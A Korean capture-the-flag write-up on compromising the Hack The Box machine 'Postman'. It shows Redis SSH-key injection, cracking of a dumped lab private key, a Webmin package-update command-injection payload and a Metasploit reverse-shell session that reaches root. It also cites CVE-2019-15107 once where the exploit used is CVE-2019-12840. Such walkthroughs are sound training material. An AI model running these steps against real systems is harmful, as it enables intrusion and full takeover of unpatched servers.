Summary
- Postman은 Redis와 Webmin 취약점을 통해 시스템을 장악하는 Easy 난이도의 리눅스 머신입니다.
- 초기 접근
- 포트 스캔을 통해 Redis(6379) 포트에 인증 없이 접근이 가능합니다.
- 공격자의 SSH 공개키를 생성한 뒤, Redis의 config set 명령어를 악용해 redis 계정의 쉘을 획득했습니다.
- 권한 상승(redis → Matt)
- SSH 개인키를 발견했고 패스프레이즈를 크랙했습니다.
- 해당 계정으로 직접적인 SSH 접근은 불가능했지만 su 명령어를 통해 사용자 전환이 가능했습니다.
- 루트 권한
- Webmin(10000/TCP)를 통해, 버전 정보가 1.910임을 확인했습니다.
- 패키지 업데이트 모듈 내 존재하는 취약점(CVE-2019-12840)을 통해 루트 권한을 획득했습니다.
- Metasploit 모듈(linux/http/webmin_packageup_rce) 사용
초기 접근
└─$ ports=$(sudo nmap -p- -sS -n --open -Pn --min-rate=1500 -T4 10.129.2.1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
└─$ nmap -p$ports -Pn -sV -sC 10.129.2.1 -oA tcpDetailed
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-03 01:25 -0500
Nmap scan report for 10.129.2.1
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek`s Personal Website
|_http-server-header: Apache/2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.15 seconds
4개의 포트(22, 80, 6379, 10000)가 열려있음을 확인했습니다.
└─$ echo '10.129.2.1 postman.htb' | sudo tee -a /etc/hosts
10.129.2.1 postman.htb
80/TCP

└─$ gobuster dir -u http://postman.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
별다른 출력 값이 없습니다.
6379/TCP (REDIS)
Redis는 In-Memory NoSQL 데이터베이스입니다. 기본 포트는 6379입니다. 외부에 열려있는 Redis로 부터 연결을 위해 redis-cli 도구가 필요합니다.
└─$ redis-cli -h 10.129.2.1
10.129.2.1:6379> info
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:665
run_id:654a2391f700ac78055e65e975f0554566e1009a
tcp_port:6379
uptime_in_seconds:2556
uptime_in_days:0
hz:10
lru_clock:5816291
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf
# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0
# Memory
used_memory:841240
used_memory_human:821.52K
used_memory_rss:3825664
used_memory_rss_human:3.65M
used_memory_peak:841240
used_memory_peak_human:821.52K
used_memory_peak_perc:100.00%
used_memory_overhead:832086
used_memory_startup:782456
used_memory_dataset:9154
used_memory_dataset_perc:15.57%
total_system_memory:941203456
total_system_memory_human:897.60M
used_memory_lua:37888
used_memory_lua_human:37.00K
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
mem_fragmentation_ratio:4.55
mem_allocator:jemalloc-3.6.0
active_defrag_running:0
lazyfree_pending_objects:0
# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1767421415
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:0
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0
# Stats
total_connections_received:2
total_commands_processed:4
instantaneous_ops_per_sec:0
total_net_input_bytes:98
total_net_output_bytes:13369
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0
# Replication
role:master
connected_slaves:0
master_replid:0d0c27c2cd18323edc29eca79132b4cc464f85ee
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:1.21
used_cpu_user:0.52
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
SSH 키 삽입을 통한 Redis RCE
1단계: SSH 키 쌍 생성
└─$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:IG398f71hHE+VQJQgGO7xAlOtVhT+FUuoZb4i2jmkd4 kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .+++++.. |
| .o+=+ o.+ |
| .o=++==.. o .|
| o..=+.o . ..|
| .S.o . . o|
| o.. o =.|
| * . . . ..+|
| = o . oo|
| o E . .|
+----[SHA256]-----+
2단계: 공개키를 파일로 준비
└─$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
- Redis 덤프 파일 형식 때문에 공개키 앞뒤에 빈 줄을 추가합니다.
3단계: Redis에 공개키 저장
└─$ cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set ssh_key
OK
-x는 표준 입력으로 값을 받는다는 의미ssh_key라는 키 이름으로 공개키가 저장
4단계: Redis 내 authorized_keys 파일 저장
└─$ redis-cli -h 10.129.2.1
10.129.2.1:6379> config set dir /var/lib/redis/.ssh
OK
10.129.2.1:6379> config set dbfilename "authorized_keys"
OK
10.129.2.1:6379> save
OK
config set dir: 파일을 저장할 디렉토리 지정config set dbfilename: 저장될 파일 이름 지정save: Redis 메모리의 데이터를 실제 디스크에 저장
5단계: SSH 연결
└─$ ssh -i ~/.ssh/id_rsa redis@10.129.2.1
redis@Postman:~$ whoami
redis
Lateral Movement(redis → Matt)
└─$ scp -i ~/.ssh/id_rsa linpeas.sh redis@10.129.2.1:/tmp/
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
linpeas.sh
redis@Postman:/tmp$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----
redis 계정이 접근할 수 있는 파일 중 패스프레이즈가 걸려있는 id_rsa 파일을 발견했습니다.
└─$ ssh2john id_rsa_encrypted > id_rsa.hash
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (id_rsa_encrypted)
1g 0:00:00:00 DONE (2026-01-03 02:35) 6.250g/s 1542Kp/s 1542Kc/s 1542KC/s confused6..comett
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
John The Ripper 도구를 통해 패스프레이즈를 오프라인 크래킹을 통해 크랙이 가능합니다. 크래킹된 비밀번호를 통해 로그인이 가능합니다.
redis@Postman:/tmp$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash
redis 쉘 내에서 로그인이 가능한 계정 명을 획득하고 대입해 로그인을 시도합니다.
└─$ ssh -i id_rsa_encrypted matt@10.129.2.1
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Enter passphrase for key 'id_rsa_encrypted':
Connection closed by 10.129.2.1 port 22
ssh를 통해 로그인을 시도했지만 계속해서 연결이 끊겼습니다. 자세한 로그를 살펴보니 서버가 연결을 즉시 끊은 것을 확인했습니다.

linpeas 출력 결과를 확인하니 su Matt 명령어로 사용자 전환을 시도했던 명령어 히스토리가 존재합니다. Matt의 비밀번호가 이전에 찾은 패스프레이즈 값과 동일하다면 사용자 전환이 가능할 것입니다.
redis@Postman:/tmp$ su Matt
Password:
Matt@Postman:/tmp$ whoami
Matt
Matt@Postman:/tmp$
사용자 전환이 완료되어 Matt 계정으로 로그인이 가능했습니다.
10000/TCP

시스템 내에서는 별도의 정보가 없기 때문에 10000/tcp포트로 접속 후 Matt 계정을 통해 로그인을 시도했습니다. webmin은 리눅스 및 유닉스 시스템을 웹 브라우저로 관리해줄 수 있는 관리 도구입니다.
Webmin 버전 확인
dpkg -l | grep webmin
# 또는
apt list --installed | grep webmin
# 또는
cat /etc/webmin/version
Matt@Postman:/var$ dpkg -l | grep webmin
ii webmin 1.910 all web-based administration interface for Unix systems
현재 설치된 Webmin은 1.910 버전입니다. 해당 버전은 CVE-2019-15107에 취약합니다.
CVE-2019-12840
이 취약점은 Webmin의 패키지 업데이트 모듈에서 발생합니다. 사용자가 패키지를 업데이트 할 때 전달하는 요청 내 파라미터에 대한 입력 값 검증이 미흡해 악의적인 명령어를 포함해 전송할 시 시스템 내부에서 해당 명령어가 실행됩니다.

페이지 내 업데이트 모듈을 클릭합니다.

파라미터를 아래와 같이 수정하고 전송 시 whoami 명령어가 실행되어 root가 출력되는것을 확인했습니다.
u=acl/apt&u=%7Cwhoami&ok_top=Update+Selected+Packages
Metasploit
└─$ msfconsole -q
msf > search Webmin 1.910
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/webmin_packageup_rce
msf exploit(linux/http/webmin_packageup_rce) > show options
Module options (exploit/linux/http/webmin_packageup_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS 10.129.2.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.13 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Webmin <= 1.910
View the full module info with the info, or info -d command.
msf exploit(linux/http/webmin_packageup_rce) > run
[*] Started reverse TCP handler on 10.10.14.13:4444
[+] Session cookie: 75340e03652ad8767ff6b1dfb124f571
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.14.13:4444 -> 10.129.2.1:47676) at 2026-01-03 05:05:18 -0500
whoami
root
hostname
Postman
root 권한으로 쉘 획득이 가능했습니다.
Comments
Sign in with GitHub to leave a comment.